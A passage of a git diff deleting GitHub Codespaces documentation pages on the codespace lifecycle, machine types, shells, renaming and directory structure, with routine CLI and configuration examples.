%}. - -### {% data variables.product.prodname_vscode_shortname %} extensions - -If you work on your codespaces in the {% data variables.product.prodname_vscode_shortname %} desktop application, or the web client, you can add any extensions you need from the {% data variables.product.prodname_vscode_marketplace %}. For information on how extensions run in {% data variables.product.prodname_github_codespaces %}, see [Supporting Remote Development and {% data variables.product.prodname_github_codespaces %}](https://code.visualstudio.com/api/advanced-topics/remote-extensions) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -If you already use {% data variables.product.prodname_vscode_shortname %}, you can use [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync) to automatically sync extensions, settings, themes, and keyboard shortcuts between your local instance and any codespaces you create. - -## About the directory structure of a codespace - -{% data reusables.codespaces.workspaces-directory %} For more information on the `/tmp` directory, see [AUTOTITLE](/codespaces/developing-in-a-codespace/persisting-environment-variables-and-temporary-files#preventing-temporary-files-from-being-automatically-deleted). - -Clearing the directories outside `/workspaces` helps to ensure the rebuilt container is in the same state as it would be in a newly created codespace. If you're rebuilding a container to apply configuration changes to the codespace you're working in, you can be confident that any configuration changes you have made will work the same for users creating new codespaces with the same configuration. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). - -If you want to make changes to your codespace that will be more robust over rebuilds and across different codespaces, you have several options. - -* To install programs and tools in all codespaces created from a repository, in your dev container configuration, you can use lifecycle command properties such as `postCreateCommand` to run custom installation commands, or you can choose from pre-written installation commands called "features." For more information, see the [dev containers specification](https://containers.dev/implementors/json_reference/#lifecycle-scripts) on the Development Containers website and [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/adding-features-to-a-devcontainer-file). -* To install tools or customize your setup in every codespace you create, such as configuring your `bash` profile, you can link {% data variables.product.prodname_github_codespaces %} with a dotfiles repository. The dotfiles repository is also cloned into the persistent `/workspaces` directory. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account#dotfiles). -* If you want to preserve specific files over a rebuild, you can use a `devcontainer.json` file to create a symlink between the files and a persistent directory within `/workspaces`. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/rebuilding-the-container-in-a-codespace#persisting-data-over-a-rebuild). - -## Further reading - -* [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/enabling-or-disabling-github-codespaces-for-your-organization) -* [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization) -* [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration) -* [AUTOTITLE](/codespaces/about-codespaces/understanding-the-codespace-lifecycle) diff --git a/content/codespaces/about-codespaces/index.md b/content/codespaces/about-codespaces/index.md deleted file mode 100644 index a698c51bd5b9..000000000000 --- a/content/codespaces/about-codespaces/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: 'Getting started with {% data variables.product.prodname_github_codespaces %}' -shortTitle: Getting started -intro: 'Learn how to get started with {% data variables.product.prodname_github_codespaces %}, then find out more about how a codespace works.' -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /codespaces/getting-started-with-codespaces - - /codespaces/getting-started -children: - - /what-are-codespaces - - /codespaces-features - - /understanding-the-codespace-lifecycle - - /deep-dive ---- - diff --git a/content/codespaces/about-codespaces/understanding-the-codespace-lifecycle.md b/content/codespaces/about-codespaces/understanding-the-codespace-lifecycle.md deleted file mode 100644 index 1b90f7b0ea55..000000000000 --- a/content/codespaces/about-codespaces/understanding-the-codespace-lifecycle.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Understanding the codespace lifecycle -shortTitle: The codespace lifecycle -intro: 'Learn how to develop in a {% data variables.product.prodname_github_codespaces %} environment, and maintain your data throughout the entire codespace lifecycle.' -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Codespaces - - Developer -redirect_from: - - /codespaces/developing-in-codespaces/codespaces-lifecycle - - /codespaces/developing-in-codespaces/the-codespace-lifecycle - - /codespaces/about-codespaces/the-codespace-lifecycle - - /codespaces/getting-started/understanding-the-codespace-lifecycle ---- - -> [!NOTE] -> This article explains the stages in the life of a codespace, from creation to deletion. If you have read the [AUTOTITLE](/codespaces/quickstart) article and you now want to start using {% data variables.product.prodname_github_codespaces %} for your own work, see the articles under [AUTOTITLE](/codespaces/developing-in-a-codespace). - -## About the lifecycle of a codespace - -The lifecycle of a codespace begins when you create a codespace and ends when you delete it. You can disconnect and reconnect to an active codespace without affecting its running processes. You may stop and restart a codespace without losing changes that you have made to your project. - -## Creating a codespace - -When you want to work on a project, you can choose to create a new codespace or open an existing codespace. You might want to create a new codespace from a branch of your repository each time you develop in {% data variables.product.prodname_github_codespaces %} or keep a long-running codespace for a feature. {% data reusables.codespaces.starting-new-project-template %} For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository) and [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-from-a-template). - -{% data reusables.codespaces.max-number-codespaces %} Similarly, if you reach the maximum number of active codespaces and you try to start another, you are prompted to stop one of your active codespaces. - -If you choose to create a new codespace each time you work on a project, you should regularly push your changes so that any new commits are on {% data variables.product.prodname_dotcom %}. If you choose to use a long-running codespace for your project, you should pull from your repository's default branch each time you start working in your codespace so that your environment has the latest commits. This workflow is very similar to if you were working with a project on your local machine. - -{% data reusables.codespaces.prebuilds-crossreference %} - -## Saving changes in a codespace - -When you connect to a codespace through the web, auto-save is enabled automatically for the web editor and configured to save changes after a delay. When you connect to a codespace through {% data variables.product.prodname_vscode %} running on your desktop, you must enable auto-save. For more information, see [Save/Auto Save](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save) in the {% data variables.product.prodname_vscode %} documentation. - -Your work will be saved on a virtual machine in the cloud. You can close and stop a codespace and return to the saved work later. If you have unsaved changes, your editor will prompt you to save them before exiting. However, if your codespace is deleted, then your work will be deleted too. To persist your work, you will need to commit your changes and push them to your remote repository, or publish your work to a new remote repository if you created your codespace from a template. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/using-source-control-in-your-codespace). - -## Timeouts for {% data variables.product.prodname_github_codespaces %} - -If you leave your codespace running without interaction, or if you exit your codespace without explicitly stopping it, the codespace will timeout after a period of inactivity and stop running. By default, a codespace will timeout after 30 minutes of inactivity, but you can customize the duration of the timeout period for new codespaces that you create. For more information about setting the default timeout period for your codespaces, see [AUTOTITLE](/codespaces/setting-your-user-preferences/setting-your-timeout-period-for-github-codespaces). For more information about stopping a codespace, see [Stopping a codespace](#stopping-a-codespace). - -When a codespace times out, your data is preserved from the last time your changes were saved. For more information, see [Saving changes in a codespace](#saving-changes-in-a-codespace). - -## Rebuilding a codespace - -You can rebuild your codespace to implement changes you've made to your dev container configuration. For most uses, you can create a new codespace as an alternative to rebuilding a codespace. By default, when you rebuild your codespace, {% data variables.product.prodname_github_codespaces %} will reuse images from your cache to speed up the rebuild process. Alternatively, you can perform a full rebuild, which clears your cache and rebuilds the container with fresh images. - -{% data reusables.codespaces.rebuild-note %} - -For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers) and [AUTOTITLE](/codespaces/developing-in-a-codespace/rebuilding-the-container-in-a-codespace). - -## Stopping a codespace - -{% data reusables.codespaces.stopping-a-codespace %} For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/stopping-and-starting-a-codespace). - -## Deleting a codespace - -You can create a codespace for a particular task and then safely delete the codespace after you push your changes to a remote branch. - -If you try to delete a codespace with unpushed git commits, your editor will notify you that you have changes that have not been pushed to a remote branch. You can push any desired changes and then delete your codespace, or continue to delete your codespace and any uncommitted changes. You can also export your code to a new branch without creating a new codespace. For more information, see [AUTOTITLE](/codespaces/troubleshooting/exporting-changes-to-a-branch). - -Codespaces that have been stopped and remain inactive for a specified period of time will be deleted automatically. By default, inactive codespaces are deleted after 30 days, but you can customize your codespace retention period. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/configuring-automatic-deletion-of-your-codespaces). - -If you create a codespace, it will continue to accrue storage charges until it is deleted, irrespective of whether it is active or stopped. For more information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#about-billing-for-storage-usage). Deleting a codespace does not reduce the current billable amount for {% data variables.product.prodname_github_codespaces %}, which accumulates during each monthly billing cycle. For more information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage). - -For more information on deleting a codespace, see [AUTOTITLE](/codespaces/developing-in-a-codespace/deleting-a-codespace). - -## Losing the connection while using {% data variables.product.prodname_github_codespaces %} - -{% data variables.product.prodname_github_codespaces %} is a cloud-based development environment and requires an internet connection. If you lose connection to the internet while working in a codespace, you will not be able to access your codespace. However, any uncommitted changes will be saved. When you have access to an internet connection again, you can connect to your codespace in the exact same state that it was left in. If you have an unstable internet connection, you should commit and push your changes often. - -If you know that you will often be working offline, you can use your `devcontainer.json` file with the ["Dev Containers" extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers) for {% data variables.product.prodname_vscode_shortname %} to build and attach to a local development container for your repository. For more information, see [Developing inside a container](https://code.visualstudio.com/docs/remote/containers) in the {% data variables.product.prodname_vscode %} documentation. diff --git a/content/codespaces/about-codespaces/what-are-codespaces.md b/content/codespaces/about-codespaces/what-are-codespaces.md deleted file mode 100644 index cc24d10316fc..000000000000 --- a/content/codespaces/about-codespaces/what-are-codespaces.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: 'What are {% data variables.product.prodname_github_codespaces %}?' -shortTitle: 'What are {% data variables.product.prodname_codespaces %}?' -intro: 'Learn about what {% data variables.product.prodname_github_codespaces %} are.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Codespaces -redirect_from: - - /codespaces/overview ---- - -{% ifversion ghec %} - -{% data reusables.codespaces.data-residency-availability %} - -{% endif %} - -## Introduction - -A codespace is a development environment that's hosted in the cloud. You can customize your project for {% data variables.product.prodname_github_codespaces %} by committing configuration files to your repository (often known as Configuration-as-Code), which creates a repeatable codespace configuration for all users of your project. See [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). - -Each codespace you create is hosted by {% data variables.product.prodname_dotcom %} in a Docker container, running on a virtual machine. You can choose from a selection of virtual machine types, from 2 cores, 8 GB RAM, and 32 GB storage, up to 32 cores, 64 GB RAM, and 128 GB storage. - -By default, the codespace development environment is created from an Ubuntu Linux image that includes a selection of popular languages and tools, but you can use an image based on a Linux distribution of your choice and configure it for your particular requirements. Regardless of your local operating system, your codespace will run in a Linux environment. Windows and macOS are not supported operating systems for the remote development container. - -You can connect to your codespaces from your browser, from {% data variables.product.prodname_vscode %}, or by using {% data variables.product.prodname_cli %}. When you connect, you are placed within the Docker container. You have limited access to the outer Linux virtual machine host. - -![Diagram showing the relationship between a code editor and a codespace running on an Azure virtual machine.](/assets/images/help/codespaces/codespaces-diagram.png) - -## Using {% data variables.product.prodname_github_codespaces %} - -To begin developing using cloud-based compute resources, you can create a codespace from a template or from any branch or commit in a repository. When you create a codespace from a template, you can start from a blank template or choose a template suitable for the work you're doing. - -{% data reusables.codespaces.links-to-get-started %} - -### Using codespaces owned by your personal account - -All personal {% data variables.product.github %} accounts have a monthly quota of free use of {% data variables.product.prodname_github_codespaces %} included in the Free or Pro plan. You can get started using {% data variables.product.prodname_github_codespaces %} on your personal account without changing any settings or providing payment details. - -If you create a codespace from an organization-owned repository, use of the codespace will either be charged to the organization (if the organization is configured for this), or to your personal account. - -{% data reusables.codespaces.codespaces-continue-by-paying %} - -{% ifversion ghec %} -{% data reusables.codespaces.codespaces-unavailable-for-emus %} -{% endif %} - -### Using organization-owned codespaces - -Owners of organizations on {% data variables.product.prodname_team %} and {% data variables.product.prodname_enterprise %} plans can pay for their members' and collaborators' use of {% data variables.product.prodname_github_codespaces %}. This applies to codespaces created from repositories owned by the organization. See [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/choosing-who-owns-and-pays-for-codespaces-in-your-organization). You can set a spending limit for use of {% data variables.product.prodname_github_codespaces %} on your organization or enterprise account. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces). - -If use of a codespace will be billed to an organization or enterprise, this is shown when the codespace is created. See [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). Codespaces that are billed to an organization, or its parent enterprise, are owned by the organization and can be deleted by an organization owner. See [AUTOTITLE](/codespaces/developing-in-a-codespace/deleting-a-codespace#deleting-codespaces-in-your-organization). - -{% data reusables.codespaces.when-you-can-create-codespaces %} - -### Customizing {% data variables.product.prodname_github_codespaces %} - -To customize the runtimes and tools in your codespace, you can create one or more dev container configurations for your repository. Adding dev container configurations to your repository allows you to define a choice of different development environments that are appropriate for the work people will do in your repository. - -If you create a codespace from a repository without any dev container configurations, {% data variables.product.prodname_github_codespaces %} will clone your repository into an environment with the default dev container image that includes many tools, languages, and runtime environments. If you create a codespace from a template, you might start with some initial configuration on top of the default image. See [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). - -You can personalize aspects of your codespace environment by using a public [dotfiles](https://dotfiles.github.io/tutorials/) repository. You can use dotfiles to set shell aliases and preferences, or to install your personal preference of the tools you like to use. If you use {% data variables.product.prodname_github_codespaces %} in the browser, or in {% data variables.product.prodname_vscode %}, you can use [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync) to give your codespace editor the same settings, keyboard shortcuts, snippets, and extensions that you have set up in your local installation of {% data variables.product.prodname_vscode %}. - -See [AUTOTITLE](/codespaces/customizing-your-codespace). - -## Billing for {% data variables.product.prodname_codespaces %} - -For information on pricing, storage, and usage for {% data variables.product.prodname_github_codespaces %}, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). - -{% data reusables.codespaces.codespaces-spending-limit-requirement %} - -{% data reusables.codespaces.codespaces-monthly-billing %} For information on how organizations owners and billing managers can manage the spending limit for {% data variables.product.prodname_github_codespaces %} for an organization, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces). diff --git a/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md b/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md deleted file mode 100644 index 71a6b9523839..000000000000 --- a/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Changing the machine type for your codespace -shortTitle: Change the machine type -intro: 'You can change the type of machine that''s running your codespace, so that you''re using resources appropriate for the work you''re doing.' -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace -topics: - - Codespaces -type: how_to ---- - -## About machine types - -{% data reusables.codespaces.codespaces-machine-types %} You can choose an alternative machine type either when you create a codespace or at any time after you've created a codespace. - -For information on choosing a machine type when you create a codespace, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). - -{% data reusables.codespaces.machine-types-for-unpublished-codespaces %} For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-from-a-template). - -## Changing the machine type - -> [!NOTE] -> {% data reusables.codespaces.codespaces-machine-type-availability %} - -{% webui %} - -{% data reusables.codespaces.your-codespaces-procedure-step %} - - The number of cores, memory, storage capacity, and currently used storage are displayed for each codespace. Some details are omitted if you are using a narrow browser window. - - ![Screenshot of a list of three codespaces on the https://github.com/codespaces page."](/assets/images/help/codespaces/your-codespaces-list.png) - -{% data reusables.codespaces.ellipsis-settings %} -1. Click **Change machine type**. - - ![Screenshot of the dropdown menu for a codespace. The "Change machine type" option is highlighted.](/assets/images/help/codespaces/change-machine-type-menu-option.png) - -1. If multiple machine types are available for your codespace, choose the type of machine you want to use. - - ![Screenshot of a dialog showing two available machine types: 2-core and 4-core.](/assets/images/help/codespaces/change-machine-type-choice.png) - -1. Click **Update codespace**. - -{% endwebui %} - -{% vscode %} - -{% data reusables.codespaces.changing-machine-type-in-vscode %} - -{% endvscode %} - -{% cli %} - -{% data reusables.codespaces.using-github-cli %} - -You can use the `gh codespace edit --machine MACHINE-TYPE-NAME` {% data variables.product.prodname_cli %} command to change the machine type of a codespace. To use this command, you'll first need to find out the available machine types for your codespace. - -1. To view your list of codespaces, in a terminal, enter the following command. - - ```shell - gh codespace list - ``` - -1. Optionally, to find the current machine type for a codespace, enter the following command. - - ```shell - gh api /user/codespaces/CODESPACE-NAME - ``` - - Replace `CODESPACE-NAME` with the permanent name of the codespace, for example `literate-space-parakeet-w5vg5ww5p793g7g9`. The permanent names are listed under the **NAME** column in the list returned by `gh codespace list`. - - If you're prompted to request the `codespace` scope, follow the instructions in the terminal. - - Details for the current machine are listed under the `machine` field. -1. To find the available machine types for a codespace, enter the following command. - - ```shell - gh api /user/codespaces/CODESPACE-NAME/machines - ``` - - Replace `CODESPACE-NAME` with the permanent name of the codespace, for example `literate-space-parakeet-w5vg5ww5p793g7g9`. -1. To change the machine type for a codespace, enter the following command. - - ```shell - gh codespace edit --machine MACHINE-TYPE-NAME - ``` - - Replace `MACHINE-TYPE-NAME` with the name of an available machine type for your codespace, for example `standardLinux32gb`. -1. Using the arrow keys, navigate to the codespace you want to change, then press <kbd>Enter</kbd>. - -{% endcli %} - -{% data reusables.codespaces.about-changing-storage-size %} - -{% cli %} - -## Further reading - -* [AUTOTITLE](/rest/codespaces/machines) -* [`gh codespace edit`](https://cli.github.com/manual/gh_codespace_edit) in the {% data variables.product.prodname_cli %} manual -* [AUTOTITLE](/codespaces/setting-your-user-preferences) -* [AUTOTITLE](/codespaces/managing-your-codespaces) - -{% endcli %} diff --git a/content/codespaces/customizing-your-codespace/changing-the-shell-in-a-codespace.md b/content/codespaces/customizing-your-codespace/changing-the-shell-in-a-codespace.md deleted file mode 100644 index 08c0fb0ba0ae..000000000000 --- a/content/codespaces/customizing-your-codespace/changing-the-shell-in-a-codespace.md +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: Changing the shell in a codespace -shortTitle: Change your shell -intro: You can change your shell in a codespace to keep the setup you're used to. -versions: - fpt: '*' - ghec: '*' -topics: - - Codespaces -type: how_to ---- - -When you're working in a codespace, you can open a new terminal window with a shell of your choice, change your default shell for new terminal windows, or install a new shell. You can also use dotfiles to configure your shell. - -Codespaces that use the default dev container image come with the `bash`, `zsh`, and `fish` shells installed. If you open a new codespace in the {% data variables.product.prodname_vscode_shortname %} web client, or connect to a codespace over SSH, the terminal opens with a `bash` session running by default. In the {% data variables.product.prodname_vscode_shortname %} desktop application, the default shell depends on your local settings and operating system. For more information, see [Terminal Profiles](https://code.visualstudio.com/docs/terminal/profiles) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -## Changing from the default shell in {% data variables.product.prodname_vscode_shortname %} - -If you don't want to use the default shell, you can open a new terminal session with a different shell. - -1. If you cannot see the integrated terminal in {% data variables.product.prodname_vscode_shortname %}, press <kbd>Ctrl</kbd>+<kbd>`</kbd>. -1. To the right of the {% octicon "plus" aria-label="plus" %} icon for opening a new terminal window, select the dropdown icon. - - ![Screenshot of the integrated terminal in {% data variables.product.prodname_vscode_shortname %}. Next to the plus icon, a downward-facing arrow is outlined in orange.](/assets/images/help/codespaces/new-shell-session.png) - -1. In the dropdown menu, click the name of the shell you want to use. - -## Installing a new shell - -If you want to use a shell that isn't already installed in the base image or dev container configuration for a codespace, you can install a new shell. - -If you're using the default dev container image, look for installation instructions for Ubuntu Linux. If you just want to use a different shell for one session, you can use the command line to install the shell in the codespace you're working in. However, you may lose programs you have installed if you rebuild the container in the codespace. For more information, see [AUTOTITLE](/codespaces/about-codespaces/deep-dive#about-the-directory-structure-of-a-codespace). - -A more robust option for installing new shells is to include the installation commands either in a dotfiles repository, or as a lifecycle command such as `postCreateCommand` in a `devcontainer.json` file. You should use a dotfiles repository to install a shell you want to use in all your own codespaces, and a `devcontainer.json` file for a shell that contributors to a specific repository should have installed. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account#dotfiles) and [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). - -### Adding a {% data variables.product.prodname_vscode_shortname %} terminal profile for a new shell - -{% data variables.product.prodname_vscode_shortname %} automatically detects most standard shells and adds them as a terminal profile, so you can easily open new terminal windows using the shell you have installed. - -If the shell you install isn't detected automatically, you can add a new terminal profile to your user settings. This setting is dependent on your operating system, so you should use `linux` for the {% data variables.product.prodname_vscode_shortname %} web client and your local operating system for the desktop application. - -{% data reusables.codespaces.access-user-settings %} -1. In the `settings.json` file, inside the JSON object, add a new property like the following. Replace `OPERATING-SYSTEM` with the relevant operating system (such as `linux`, `windows`, or `osx`) and `SHELL` with the shell you have installed. - - ```json copy - "terminal.integrated.profiles.OPERATING-SYSTEM": { - "SHELL": { - "path": "SHELL" - } - } - ``` - - For example: - - ```json - "terminal.integrated.profiles.linux": { - "csh": { - "path": "csh" - } - } - ``` - -1. Save the file. - -{% data reusables.codespaces.settings-sync-link %} - -## Setting the default shell in {% data variables.product.prodname_vscode_shortname %} - -You can set a default terminal profile to choose the default shell used for all new terminal windows you open in {% data variables.product.prodname_vscode_shortname %}. The default terminal profile is dependent on your operating system, so you can set a default profile for Linux, if you're using the {% data variables.product.prodname_vscode_shortname %} web client, or for your local operating system, if you're using the desktop application. - -> [!NOTE] -> Regardless of your default profile, codespaces opened in the web client always open with a `bash` session running initially. - -{% data reusables.codespaces.access-user-settings %} -1. Inside the JSON object, to set the default shell for the relevant operating system, add lines or edit existing lines like the following. - - ```json - "terminal.integrated.defaultProfile.OPERATING-SYSTEM": "SHELL" - ``` - - For example: - - ```json copy - { - "terminal.integrated.defaultProfile.osx": "zsh", - "terminal.integrated.defaultProfile.linux": "bash", - "terminal.integrated.defaultProfile.windows": "PowerShell" - } - ``` - -1. Save the `settings.json` file. - -{% data reusables.codespaces.settings-sync-link %} - -## Setting the default shell over SSH - -When you connect to a codespace from the command line over SSH, you connect to a `bash` session in the codespace by default. - -If you have enabled a dotfiles repository for {% data variables.product.prodname_github_codespaces %}, you can change the default shell you connect to by adding a command to an installation script such as `install.sh` in your dotfiles. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/using-github-codespaces-with-github-cli#ssh-into-a-codespace) and [AUTOTITLE](/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account#dotfiles). For example, the following command changes the default shell to `zsh`. - -```shell copy -sudo chsh "$(id -un)" --shell "/usr/bin/zsh" -``` - -If you want to use a default shell that isn't installed in your codespace by default, or ensure you have the latest version of the shell, you can install the shell first. - -```shell copy -sudo apt-get update -y -sudo apt-get install -y csh -sudo chsh "$(id -un)" --shell "/usr/bin/csh" -``` - -> [!NOTE] -> If you create a new codespace (for example by using `gh codespace create`), you must wait sufficient time to ensure the script has finished running before you connect to the codespace over SSH. If the script hasn't finished running, you will connect to a default `bash` session. - -When you have connected to the codespace, for most shells, you can use the command `readlink /proc/$$/exe` to check the correct shell is running. - -## Configuring your shell - -With most shells, you have the option of using a configuration file, such as `.bashrc`, to configure the shell with your preferred settings. These settings can include things like aliases and environment variables. - -By default, codespaces contain predefined configuration for the shells that come preinstalled. For example, the home directory in a codespace contains `.bashrc` and `.zshrc` files. You can change the contents of these files then use a command like `source ~/.bashrc` to update your shell configuration. However, you will lose any changes to these files if you rebuild the container in a codespace. For more information, see [AUTOTITLE](/codespaces/about-codespaces/deep-dive#about-the-directory-structure-of-a-codespace). - -Generally, you should use a dotfiles repository to configure shells with your preferred settings. The setup in your dotfiles applies to all codespaces you create, and persists over rebuilds of the container. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account#dotfiles). - -### Troubleshooting the `fish` shell - -The `fish` shell includes a web-based configuration interface. You can use the `fish_config` command to start a local web server and launch this interface, then do things like change the terminal prompt or view your environment variables. - -You can use the web-based interface for `fish` in a codespace. However, -the color settings in {% data variables.product.prodname_vscode_shortname %}'s integrated terminal depend on your chosen {% data variables.product.prodname_vscode_shortname %} theme, and you cannot override these settings by setting a new theme in the `fish_config` interface. - -When `fish` starts the local server, the default link that {% data variables.product.prodname_github_codespaces %} provides to the forwarded port does not work. For example, if you click **Open in Browser** on the popup message, you will be taken to an error page. - -To access the web-based interface for `fish_config`: - -1. In a terminal running a `fish` session, enter `fish_config`. -1. In the terminal output, use <kbd>Command</kbd>+click or <kbd>Ctrl</kbd>+click to open the link to the `web_config` HTML file. - - ```shell - $ fish_config - Web config started at file:///tmp/web_config60rc9tr3.html - Hit ENTER to stop. - ``` - -1. In the `web_config` file, use <kbd>Command</kbd>+click or <kbd>Ctrl</kbd>+click to open the link to the forwarded port. - - ```html - <body> - <p><a href="http://localhost:8000/1b9411c2469e392b96df5e5b28da485b/">Start the Fish Web config</a></p> - </body> - ``` - -## Further reading - -* [AUTOTITLE](/codespaces/setting-your-user-preferences) -* [AUTOTITLE](/codespaces/managing-your-codespaces) diff --git a/content/codespaces/customizing-your-codespace/index.md b/content/codespaces/customizing-your-codespace/index.md deleted file mode 100644 index 44cfccb32bc5..000000000000 --- a/content/codespaces/customizing-your-codespace/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Customizing your codespace -intro: 'You can customize a codespace you''ve created to suit your own preferences.' -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /codespaces/setting-up-your-codespace -topics: - - Codespaces -children: - - /renaming-a-codespace - - /changing-the-shell-in-a-codespace - - /changing-the-machine-type-for-your-codespace ---- diff --git a/content/codespaces/customizing-your-codespace/renaming-a-codespace.md b/content/codespaces/customizing-your-codespace/renaming-a-codespace.md deleted file mode 100644 index bd0431aa8197..000000000000 --- a/content/codespaces/customizing-your-codespace/renaming-a-codespace.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Renaming a codespace -intro: 'You can change the codespace display name to one of your choice on {% data variables.product.github %} or using the {% data variables.product.prodname_cli %}.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Fundamentals - - Developer -shortTitle: Rename a codespace ---- - -## About renaming a codespace - -When you create a codespace it's assigned an auto-generated display name. If you have multiple codespaces, the display name helps you to differentiate between codespaces. For example: `literate space parakeet`. You can change the display name for your codespace. - -To find the display name of a codespace: - -* On {% data variables.product.github %}, view your list of codespaces at https://github.com/codespaces. - - ![Screenshot of a list of three codespaces on the https://github.com/codespaces page."](/assets/images/help/codespaces/your-codespaces-list.png) - -* In the {% data variables.product.prodname_vscode %} desktop application, or the {% data variables.product.prodname_vscode_shortname %} web client, click the Remote Explorer. The display name is the second item in the list. For example: `psychic chainsaw` in the screenshot below. - - ![Screenshot of the "Remote Explorer" in {% data variables.product.prodname_vscode_shortname %}. The codespace display name, "psychic chainsaw," is highlighted with a dark orange outline.](/assets/images/help/codespaces/codespaces-remote-explorer.png) - -{% indented_data_reference reusables.codespaces.remote-explorer spaces=2 %} -* In a terminal window on your local machine, use this {% data variables.product.prodname_cli %} command: `gh codespace list`. - -### Permanent codespace names - -In addition to a display name, every codespace also has a unique, permanent name. The permanent name is a combination of the initial display name, followed by some random characters - for example, `literate-space-parakeet-w5vg5ww5p793g7g9`. You can't change the permanent name. - -{% data reusables.codespaces.permanent-codespace-names %} - -## Renaming a codespace - -Changing the display name of a codespace can be useful if you have multiple codespaces that you will be using for an extended period. An appropriate name helps you identify a codespace that you use for a particular purpose. - -{% cli %} - -{% data reusables.codespaces.using-github-cli %} - -To change the display name of a codespace, use the `gh codespace edit` subcommand: - -```shell -gh codespace edit -c PERMANENT-CODESPACE-NAME -d 'NEW-DISPLAY-NAME' -``` - -In this example, replace `PERMANENT-CODESPACE-NAME` with the permanent name of the codespace whose display name you want to change. Replace `NEW-DISPLAY-NAME` with the display name you want to use for this codespace. - -Display names can be up to 48 characters in length. The display name can contain any combination of characters, including spaces, provided you enclose it in single quotes. - -For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/using-github-codespaces-with-github-cli#rename-a-codespace). - -{% endcli %} - -{% webui %} - -You can change the display name for your codespace on {% data variables.product.github %}. - -{% data reusables.codespaces.your-codespaces-procedure-step %} - - The current display name for each of your codespaces is displayed. - -{% data reusables.codespaces.ellipsis-settings %} -1. Click **Rename**. - -1. In the prompt, under "Change display name to..." type your desired display name and click **OK**. - -{% endwebui %} - -## Further reading - -* [AUTOTITLE](/codespaces/setting-your-user-preferences) -* [AUTOTITLE](/codespaces/managing-your-codespaces) diff --git a/content/codespaces/developing-in-a-codespace/connecting-to-a-private-network.md b/content/codespaces/developing-in-a-codespace/connecting-to-a-private-network.md deleted file mode 100644 index 2fd6d808df01..000000000000 --- a/content/codespaces/developing-in-a-codespace/connecting-to-a-private-network.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Connecting to a private network -intro: 'You can connect {% data variables.product.prodname_github_codespaces %} to resources on a private network, including package registries, license servers, and on-premises databases.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Fundamentals - - Developer -redirect_from: - - /codespaces/developing-in-codespaces/connecting-to-a-private-network ---- - -## About codespace networking - -By default, your codespaces have access to all resources on the public internet, including package managers, license servers, databases, and cloud platform APIs, but they have no access to resources on private networks. - -## Connecting to resources on a private network - -There are currently two methods of accessing resources on a private network within {% data variables.product.prodname_github_codespaces %}. -* Using 